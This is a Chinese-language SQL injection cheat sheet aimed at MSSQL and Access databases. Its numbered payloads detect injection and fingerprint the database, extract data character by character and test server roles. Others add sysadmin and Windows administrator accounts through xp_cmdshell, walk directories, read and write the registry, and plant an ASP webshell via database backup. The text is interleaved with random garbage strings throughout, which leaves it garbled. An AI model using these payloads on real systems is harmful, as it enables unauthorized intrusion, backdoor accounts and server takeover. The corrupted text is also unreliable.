1.判断是否有注入;and 1=1 ;and 1=2 !2h ZtX
2.初步判断是否是mssql ;and user>0 2+_a<5l~
q=}1ud}1
3.注入参数是字符'and [查询条件] and ''=' DD2K>1A1
.+,U9e:%
4.搜索时没过滤参数的'and [查询条件] and '%25'=' "9 f+F
6$[7hlE
5.判断数据库系统 U*b7 Pxq;
zz
/4 ()u
;and (select count(*) from sysobjects)>0 mssql 3)yL#hXg)
vA}_x7}n(
;and (select count(*) from msysobjects)>0 access l0C`teO
SL-;h#-y
4
0<O()NMv
)2_[Ww|.
6.猜数据库 ;and (select Count(*) from [数据库名])>0 c]zFZJ6M
3{fg3?
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 A,BYi$
z0OxJ e
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 J#t-."f6^
6tFi\,)E
9.(1)猜字段的ascii值(access) ,J8n}7aI
^qnmKA>"F
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 L$BV`JWPw
"Kdn`zN{
(2)猜字段的ascii值(mssql) 9z..LD(
$xWUzg1<U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Qe{w)e0}`
`XpQR=IOMb
10.测试权限结构(mssql) 8CZ%-}-%$
Z"RgqNf
*~>p;*
r!
HXhl
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X
=%8*_
le]~Cy0
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- x x4GP2
uKXNzz
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- nwh @F1|
1)MDnODJ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ZP5 !O[Ut
IzJq:G.
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2 rr=FJ
[orL.D]
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =MMd&
}zx
~
;and 1=(select IS_MEMBER('db_owner'));-- !1fZ7a
),-gy~
QeG9CS)E}j
|?ssHW
11.添加mssql和系统的帐户 N@L{9ak1
e"52'zAV-
;exec master.dbo.sp_addlogin username;-- ;}j(x;l>t
;exec master.dbo.sp_password null,username,password;-- w7o`BR
2 U]d1
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- r34MDUZdI
RFyMRE!?
;exec master.dbo.xp_cmdshell 'net user username password y;uR@{
z V\+za,
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- t2s/zxt
wV"`Du7E;
;exec master.dbo.xp_cmdshell 'net user username password /add';-- "J`&"_CyZ
Be=rBrI>
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- CF2Bd:mfZ
@J"tM.
VOLj#H
avL_>7q
12.(1)遍历目录 u;gO+)wqv
)muNfs m
;create table dirs(paths varchar(100), id int) G %6P`:
hg(<>_~
;insert dirs exec master.dbo.xp_dirtree 'c:\' uTxa5j
*Ud(HMTe
;and (select top 1 paths from dirs)>0 P0jr>j@^-
yB2h/~+
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {VE
h@yn
z.!N|"4yr
S k~"-HL|
CMaph
(2)遍历目录 -g]Rs!w'
L"NHr~
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- XS [L-NHG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Ch_rV+
jk{(o09
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %)x9u$4W2
<aJQV)]\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 wDZ<UP=X
12KC4,C&1i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 o^\Pt<~W
0(D^NtB7
M .b8 -`V
4
"HX1qP
13.mssql中的存储过程 g4$(%]
{O^u^a\m
xp_regenumvalues 注册表根键, 子键 kkF)Tro\
ds(?:zx#
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ^taN?5
6:]N%
xp_regread 根键,子键,键值名 GWnIy6TH l
jdP)y]c
;exec xp_regread LdV&G/G-#D
t>I.1AS
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 iqQT ^
G
@..?>
xp_regwrite 根键,子键, 值名, 值类型, 值 $/++afim
{`QHg O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 '6#G$
(~=.[Y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d9#Vq=H /
(Q^sK\
xp_regdeletevalue 根键,子键,值名 0N.h: 21(4
K^shT h8k
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4hL%J=0:
t'rN7.d
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 kI^*
'=:
- {QU>`2
l@4_D;b3o"
u dZOg
14.mssql的backup创建webshell ;Y$>WKsV
q8v[u_(yD
use model -3EQRqVg
f"QiVJq
create table cmd(str image); (+>
2&@@<
[1VA`:?W
insert into cmd(str) values (''); QPJ\Iu@D$
d(T4Kd$r
backup database model to disk='c:\l.asp'; {r,Uik-nL
.$qa?$@
G<;~nAo?f0
$J`O-"M
15.mssql内置函数 <v:VA!]
5ilGWkb`'X
;and (select @@version)>0 获得Windows的版本号 N+|NI?R?}
oJz2-PmX
;and user_name()='dbo' 判断当前系统的连接用户是不是sa n|w+08c"
1F^Q* t{
;and (select user_name())>0 爆当前系统的连接用户 9\?OV@
B `~EA] d
;and (select db_name())>0 得到当前连接的数据库 ^Xk!wJ
g* q#VmE
P[nc8z[
GXtMX ha,
16.简洁的webshell jFj11w1FrA
OSgJj MQ
use model Jz}nV1G(jz
#DTKz]i?
create table cmd(str image); rs&]46i/p
*@2Bh4
insert into cmd(str) values (''); VY0.]t
n~N>;mP
backup database model to disk='g:\wwwtest\l.asp';